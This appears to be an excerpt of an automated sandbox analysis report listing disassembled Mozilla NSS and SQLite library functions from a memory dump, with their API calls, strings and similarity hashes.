Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C7D0A66
Part of subcall function 6C7D09D0: PR_GetCurrentThread.NSS3 ref: 6C7D0A70
Part of subcall function 6C7D09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C7D0A9D
Part of subcall function 6C7D09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C7D0AC8
Part of subcall function 6C7D09D0: PR_vsmprintf.NSS3(?,?), ref: 6C7D0AE8
Part of subcall function 6C7D09D0: EnterCriticalSection.KERNEL32(?), ref: 6C7D0B19
Part of subcall function 6C7D09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C7D0B48
Part of subcall function 6C7D09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C7D0C76
Part of subcall function 6C7D09D0: PR_LogFlush.NSS3 ref: 6C7D0C7E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C7D0EFA

Part of subcall function 6C6BAEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C6BAF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C7D0F2B

Strings

Assertion failure: %s, at %s:%d, xrefs: 6C7D0ED9, 6C7D0EE5, 6C7D0F06, 6C7D0F0B
Aborting, xrefs: 6C7D0EB3

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: DebugPrintR_snprintf__acrt_iob_funcabort$BreakCriticalCurrentEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime__stdio_common_vfprintffflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 3905088656-1374795319
Opcode ID: ee90f2da3377efb77cd3950896c1f23197c70d621966cacbb6d4e1f5a1768173
Instruction ID: 605766738b96cf4d8ed5c2e4245575777967a1b4869811d7a5e2de46d42f9606
Opcode Fuzzy Hash: ee90f2da3377efb77cd3950896c1f23197c70d621966cacbb6d4e1f5a1768173
Instruction Fuzzy Hash: DBF0AFF59001147BEA203B609C4FC9B3E2DDF82279F044434FE0956A03DA36EA2596F6

Function 6C734DB0 Relevance: 16.9, APIs: 11, Instructions: 395memoryCOMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000400), ref: 6C734DCB

Part of subcall function 6C720FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6C6C87ED,00000800,6C6BEF74,00000000), ref: 6C721000
Part of subcall function 6C720FF0: PR_NewLock.NSS3(?,00000800,6C6BEF74,00000000), ref: 6C721016
Part of subcall function 6C720FF0: PL_InitArenaPool.NSS3(00000000,security,6C6C87ED,00000008,?,00000800,6C6BEF74,00000000), ref: 6C72102B

PORT_ArenaAlloc_Util.NSS3(00000000,0000001C), ref: 6C734DE1

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

PORT_ArenaAlloc_Util.NSS3(?,0000001C), ref: 6C734DFF
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C734E59

Part of subcall function 6C71FAB0: free.MOZGLUE(?,-00000001,?,?,6C6BF673,00000000,00000000), ref: 6C71FAC7

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7F300C,00000000), ref: 6C734EB8
SECOID_FindOID_Util.NSS3(?), ref: 6C734EFF
memcmp.VCRUNTIME140(?,00000000,00000000), ref: 6C734F56
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C73521A

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCriticalDecodeEnterFindFreeInitLockPoolQuickSectionUnlockZfreecallocfreememcmp
String ID:
API String ID: 1025791883-0
Opcode ID: e84672d679c719a0217c613bc518bf55587e0076f24411b7ab8e3893b7a47b68
Instruction ID: b686e450f812fcf46c20c46bed277a22d471677ad60d0ada5a895b7414b42651
Opcode Fuzzy Hash: e84672d679c719a0217c613bc518bf55587e0076f24411b7ab8e3893b7a47b68
Instruction Fuzzy Hash: 46F19071E00219CFDB08CF54E9407ADB7B2FF44358F294169E919AB782E736E981CB90

Function 6C662E50 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,?), ref: 6C662F3D
memset.VCRUNTIME140(?,00000000,?), ref: 6C662FB9
memcpy.VCRUNTIME140(?,00000000,?), ref: 6C663005
memcpy.VCRUNTIME140(?,?,?), ref: 6C6630EE
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C663131
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001086C,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C663178

Strings

database corruption, xrefs: 6C66316C
%s at line %d of [%.10s], xrefs: 6C663171
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C663022, 6C663156, 6C663162, 6C66318A, 6C663196, 6C6631A2, 6C6631AE, 6C6631BA, 6C6631C6

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: memcpy$memsetsqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 984749767-598938438
Opcode ID: 4e614417aee45dc23bece34bca916ea2381c247e74f4f6443200a78f0021b4ae
Instruction ID: 968e32bec9bce9d686dec3576a5dc1cb820bb1e2e776ddddc5caf5dec0e14b8a
Opcode Fuzzy Hash: 4e614417aee45dc23bece34bca916ea2381c247e74f4f6443200a78f0021b4ae
Instruction Fuzzy Hash: 30B1C0B0E052199BCB18CF9EC885AEEF7B1BF49304F148429E845B7B41D374A941CBA9

Function 6C6B2D20 Relevance: 15.9, APIs: 1, Strings: 8, Instructions: 183COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 6C6B2D69

Strings

P}l, xrefs: 6C6B2E74, 6C6B2EC5, 6C6B2F32, 6C6B2F5C
winSeekFile, xrefs: 6C6B2E9C
@}l, xrefs: 6C6B2E24
winUnmapfile2, xrefs: 6C6B2F7F
winTruncate2, xrefs: 6C6B2EF8
}l, xrefs: 6C6B2DD0
winUnmapfile1, xrefs: 6C6B2F55
winTruncate1, xrefs: 6C6B2EBE

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: __allrem
String ID: @}l$P}l$winSeekFile$winTruncate1$winTruncate2$winUnmapfile1$winUnmapfile2$}l
API String ID: 2933888876-3090618519
Opcode ID: 346c4a9fc7e8ba85b6c89f2ab875ce7a0e07e3b1e1ea9fbfc171ad3a556a5386
Instruction ID: 63633358299635684f35770ef423f3cc28ede61f97fc7d99c064aa21402e03ff
Opcode Fuzzy Hash: 346c4a9fc7e8ba85b6c89f2ab875ce7a0e07e3b1e1ea9fbfc171ad3a556a5386
Instruction Fuzzy Hash: BE61D071B002059FDB54CF64DC98AAA77F1FB89318F108238E905ABB90DB30A956CBD4

Function 6C6DFCA0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 99stringmemoryCOMMON

Download Yara Rule

APIs

PK11_IsInternalKeySlot.NSS3(?,?,00000000,?), ref: 6C6DFCBD
strchr.VCRUNTIME140(?,0000003A,?,?,00000000,?), ref: 6C6DFCCC
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,00000000,?), ref: 6C6DFCEF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C6DFD32
PORT_ArenaAlloc_Util.NSS3(00000000,00000001), ref: 6C6DFD46
PORT_Alloc_Util.NSS3(00000001), ref: 6C6DFD51
memcpy.VCRUNTIME140(00000000,00000000,-00000001), ref: 6C6DFD6D
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C6DFD84

Strings

:, xrefs: 6C6DFD78

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Alloc_Utilmemcpystrlen$ArenaInternalK11_Slotstrchr
String ID: :
API String ID: 183580322-336475711
Opcode ID: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction ID: 8ba81bd85d47922e2b5c7a2d175e6aa40f94aaf838ca8f6472a9db03360283a5
Opcode Fuzzy Hash: 6b01cbbeec5e53cf722db012dedf94c099d5da7b2fd0114ccdec8c6525f24190
Instruction Fuzzy Hash: 9231B1B69002159BEB118EA49D097AFB7A8EF55358F1A0124DC14A7B00E772F918C7D7

Function 6C6C6DB0 Relevance: 15.2, APIs: 10, Instructions: 200memoryCOMMON

Download Yara Rule

APIs

SECITEM_ArenaDupItem_Util.NSS3(?,6C6C7D8F,6C6C7D8F,?,?), ref: 6C6C6DC8

Part of subcall function 6C71FDF0: PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C71FE08
Part of subcall function 6C71FDF0: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C71FE1D
Part of subcall function 6C71FDF0: memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C71FE62

PORT_ArenaAlloc_Util.NSS3(?,00000010,?,?,6C6C7D8F,?,?), ref: 6C6C6DD5

Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C7210F3
Part of subcall function 6C7210C0: EnterCriticalSection.KERNEL32(?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72110C
Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721141
Part of subcall function 6C7210C0: PR_Unlock.NSS3(?,?,?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C721182
Part of subcall function 6C7210C0: TlsGetValue.KERNEL32(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72119C

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7E8FA0,00000000,?,?,?,?,6C6C7D8F,?,?), ref: 6C6C6DF7

Part of subcall function 6C71B030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6C7F18D0,?), ref: 6C71B095

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C6E35

Part of subcall function 6C71FDF0: PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C71FE29
Part of subcall function 6C71FDF0: PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C71FE3D
Part of subcall function 6C71FDF0: free.MOZGLUE(00000000,?,?,?,?), ref: 6C71FE6F

PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6C6E4C

Part of subcall function 6C7210C0: PL_ArenaAllocate.NSS3(?,6C6C8802,00000000,00000008,?,6C6BEF74,00000000), ref: 6C72116E

SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7E8FE0,00000000), ref: 6C6C6E82

Part of subcall function 6C6C6AF0: SECITEM_ArenaDupItem_Util.NSS3(00000000,6C6CB21D,00000000,00000000,6C6CB219,?,6C6C6BFB,00000000,?,00000000,00000000,?,?,?,6C6CB21D), ref: 6C6C6B01
Part of subcall function 6C6C6AF0: SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,00000000), ref: 6C6C6B8A

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C6C6F1E
PORT_ArenaAlloc_Util.NSS3(?,0000005C), ref: 6C6C6F35
SEC_QuickDERDecodeItem_Util.NSS3(?,00000000,6C7E8FE0,00000000), ref: 6C6C6F6B
PR_SetError.NSS3(FFFFE005,00000000,6C6C7D8F,?,?), ref: 6C6C6FE1

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$Arena$Item_$Alloc_$DecodeQuick$AllocateErrorValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 587344769-0
Opcode ID: 7b7eb9c4b4b66c9a338794971f53741008f1a655eb9ef59c9d23084daa6f7625
Instruction ID: 9118ffa6dec01abeb88733f95214141aacfb2e180844c316ca4b98522b224a28
Opcode Fuzzy Hash: 7b7eb9c4b4b66c9a338794971f53741008f1a655eb9ef59c9d23084daa6f7625
Instruction Fuzzy Hash: 61719F71E142469FEB00CF15CD44ABABBA5FF94308F154229E818D7B11F730EA94CB99

Function 6C70ADC0 Relevance: 15.1, APIs: 10, Instructions: 148COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE10
EnterCriticalSection.KERNEL32(?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE24
PR_Unlock.NSS3(?,?,?,?,?,?,6C6ED079,00000000,00000001), ref: 6C70AE5A
memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE6F
free.MOZGLUE(85145F8B,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AE7F
TlsGetValue.KERNEL32(?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AEB1
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AEC9
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AEF1
free.MOZGLUE(6C6ECDBB,?,?,?,?,?,?,?,?,?,?,?,?,?,6C6ECDBB,?), ref: 6C70AF0B
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,6C6ECDBB,?,6C6ED079,00000000,00000001), ref: 6C70AF30

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Unlock$CriticalEnterSectionValuefree$memset
String ID:
API String ID: 161582014-0
Opcode ID: 289f101043a7e0f2b867fb0b56885c2c0d2150620d87569bdbc25cd664c99375
Instruction ID: ac03a8963713c3bd1674873e966f0b8e2b24961724ab955f6a8bec7ae7ccf978
Opcode Fuzzy Hash: 289f101043a7e0f2b867fb0b56885c2c0d2150620d87569bdbc25cd664c99375
Instruction Fuzzy Hash: 73518DF1A00602AFDB11DF25D98AA5AB7F4BF04328F144275E91897E11E731F8A4CBD1

Function 6C6E4CA0 Relevance: 15.1, APIs: 10, Instructions: 142COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,00000000,00000000,?,6C6EAB7F,?,00000000,?), ref: 6C6E4CB4
EnterCriticalSection.KERNEL32(0000001C,?,6C6EAB7F,?,00000000,?), ref: 6C6E4CC8
TlsGetValue.KERNEL32(?,6C6EAB7F,?,00000000,?), ref: 6C6E4CE0
EnterCriticalSection.KERNEL32(?,?,6C6EAB7F,?,00000000,?), ref: 6C6E4CF4
PL_HashTableLookup.NSS3(?,?,?,6C6EAB7F,?,00000000,?), ref: 6C6E4D03
PR_Unlock.NSS3(?,00000000,?), ref: 6C6E4D10

Part of subcall function 6C76DD70: TlsGetValue.KERNEL32 ref: 6C76DD8C
Part of subcall function 6C76DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C76DDB4

PR_Now.NSS3(?,00000000,?), ref: 6C6E4D26

Part of subcall function 6C789DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DC6
Part of subcall function 6C789DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6C7D0A27), ref: 6C789DD1
Part of subcall function 6C789DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6C789DED

PR_Unlock.NSS3(?,?,00000000,?), ref: 6C6E4D98
PR_Unlock.NSS3(?,?,?,00000000,?), ref: 6C6E4DDA
PR_Unlock.NSS3(?,?,?,?,00000000,?), ref: 6C6E4E02

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Unlock$CriticalSectionTimeValue$EnterSystem$FileHashLeaveLookupTableUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 4032354334-0
Opcode ID: e681504b957f64cc2e962cfaab4d1cfe0d223af9c222c2b9b98487725d93bbcf
Instruction ID: e5e07a375aef68e558088fa76f1779c4f5586705b81b7fdb9f0ce57bc47f8892
Opcode Fuzzy Hash: e681504b957f64cc2e962cfaab4d1cfe0d223af9c222c2b9b98487725d93bbcf
Instruction Fuzzy Hash: C441F5B5905205ABEB00AF75EC45AA677E8EF0A34CF154171EC0887B12EB71E924C7E9

Function 6C6C2E00 Relevance: 15.1, APIs: 10, Instructions: 78COMMON

Download Yara Rule

APIs

SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C6C2CDA,?,00000000), ref: 6C6C2E1E

Part of subcall function 6C71FD80: PORT_Alloc_Util.NSS3(0000000C,?,?,00000001,?,6C6C9003,?), ref: 6C71FD91
Part of subcall function 6C71FD80: PORT_Alloc_Util.NSS3(A4686C72,?), ref: 6C71FDA2
Part of subcall function 6C71FD80: memcpy.VCRUNTIME140(00000000,12D068C3,A4686C72,?,?), ref: 6C71FDC4

SECITEM_DupItem_Util.NSS3(?), ref: 6C6C2E33

Part of subcall function 6C71FD80: free.MOZGLUE(00000000,?,?), ref: 6C71FDD1

TlsGetValue.KERNEL32 ref: 6C6C2E4E
EnterCriticalSection.KERNEL32(?), ref: 6C6C2E5E
PL_HashTableLookup.NSS3(?), ref: 6C6C2E71
PL_HashTableRemove.NSS3(?), ref: 6C6C2E84
PL_HashTableAdd.NSS3(?,00000000), ref: 6C6C2E96
PR_Unlock.NSS3 ref: 6C6C2EA9
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C6C2EB6
PR_SetError.NSS3(FFFFE013,00000000), ref: 6C6C2EC5

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: Util$HashItem_Table$Alloc_$CriticalEnterErrorLookupRemoveSectionUnlockValueZfreefreememcpy
String ID:
API String ID: 3332421221-0
Opcode ID: 3dfac96f87f6a7b01de0a5cc9eca4af7a258cfdd4656370361f94099cb7a4bd5
Instruction ID: 3768233946c3e01f0603f10c54122b7effb5ee6b9b01c695a8e1ae7aaa7f2ad1
Opcode Fuzzy Hash: 3dfac96f87f6a7b01de0a5cc9eca4af7a258cfdd4656370361f94099cb7a4bd5
Instruction Fuzzy Hash: 0D214972A00101ABEF102B25DC0EADB7B75EB4635DF184030ED1892B11FB36C569C3EA

Function 6C6AFC50 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 233COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3 ref: 6C6AFD18
sqlite3_initialize.NSS3 ref: 6C6AFD5F
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C6AFD89
memcpy.VCRUNTIME140(00000000,00000000,?), ref: 6C6AFD99
sqlite3_free.NSS3(00000000), ref: 6C6AFE3C
sqlite3_free.NSS3(?), ref: 6C6AFEE3
sqlite3_free.NSS3(?), ref: 6C6AFEEE

Strings

simple, xrefs: 6C6AFC79

Memory Dump Source

Source File: 00000000.00000002.2593081401.000000006C641000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C640000, based on PE: true

Associated: 00000000.00000002.2593045689.000000006C640000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593243941.000000006C7DF000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593291452.000000006C81E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593310291.000000006C81F000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593328141.000000006C820000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2593350772.000000006C825000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c640000_file.jbxd

Similarity

API ID: sqlite3_free$sqlite3_initialize$memcpymemset
String ID: simple
API String ID: 1130978851-3246079234
Opcode ID: 4efd16256f30bc9ae0b7ff1c89d2c07b1f86b80f83b7215d15b1948b7d365623
Instruction ID: 1a8635a9d5c7e746341e565c648cb96d413c4b34cd522bc7a9d4e373a6435049
Opcode Fuzzy Hash: 4efd16256f30bc9ae0b7ff1c89d2c07b1f86b80f83b7215d15b1948b7d365623
Instruction Fuzzy Hash: 929161B0A012059FDB04DF95C984AAAF7F1FF85318F24C568D819ABB52D731EC42CB96

Function 6C6B5CE0 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 229COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C6B5EC9
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,000296F7,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6B5EED

Strings

invalid, xrefs: 6C6B5EBE
unable to close due to unfinalized statements or unfinished backups, xrefs: 6C6B5E64
%s at line %d of [%.10s], xrefs: 6C6B5EE0
misuse, xrefs: 6C6B5EDB
API call with %s database connection pointer, xrefs: 6C6B5EC3
